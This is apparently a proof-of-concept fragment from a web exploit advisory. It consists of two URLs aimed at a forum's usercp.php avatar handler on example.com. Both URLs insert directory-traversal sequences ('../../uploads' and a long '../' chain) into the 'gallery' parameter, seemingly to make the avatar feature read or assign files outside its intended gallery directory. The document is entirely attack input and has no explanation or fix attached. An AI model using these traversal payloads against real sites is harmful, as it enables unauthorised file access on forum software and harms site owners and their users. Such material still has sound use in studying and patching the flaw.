http://www.example.com/usercp.php?action=avatar&gallery=../../uploads
http://www.example.com/usercp.php?action=do_avatar&gallery=../../../../../../..dir&avatar=myfile